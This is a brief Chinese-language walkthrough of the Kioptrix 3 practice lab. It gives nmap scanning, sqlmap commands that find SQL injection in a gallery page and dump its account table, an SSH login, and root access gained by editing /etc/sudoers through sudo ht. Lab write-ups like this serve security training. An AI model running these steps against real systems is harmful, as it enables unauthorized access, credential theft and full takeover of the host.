扫描IP
nmap 192.168.111.131
使用 nmap 扫描结果,可以看到 HTTP 服务在 2 个端口上运行,即端口 22,80
访问192.168.111.131
将域名与ip做绑定
对于 Windows C:\windows\system32\drivers\etc\hosts
对于 Linux:/etc/hosts
浏览网站 http://kioptrix3.com/gallery 并浏览一些项目
发现有id参数
在php?id=1之后加上',即(通过尝试使用 http://kioptrix3.com/gallery/gallery.php?id=1')会出现SQL错误提示。因此,这意味着 URL 容易受到 SQL 注入的影响。
使用 SQLMAP 命令枚举数据库以获取更多详细信息
查询数据库名
sqlmap -u "http://192.168.111.131/gallery/gallery.php?id=1" --dbs –batch
查询数据库下的表
sqlmap -u "http://192.168.111.131/gallery/gallery.php?id=1" --batch -D gallery --tables
查看表下字段user和accounts
sqlmap -u "http://192.168.111.131/gallery/gallery.php?id=1" -D gallery -T dev_accounts --dump
尝试ssh连接
提权
查看内核版本信息
uname -a
查看靶机发行版本信息
cat /etc/*-release
查看/etc/passwd,有利用漏洞
cat /etc/passwd
查看目录
ls
查看readme文件
cat CompanyPolicy.README
直接执行 sudo -l不行,看看可以执行什么
报错了
再次执行sudo ht,启动成功
F3查找 /etc/sudoers 然后在loneferrt后加,/bin/bash
F2保存
F10退出
执行sudo /bin/bash提权成功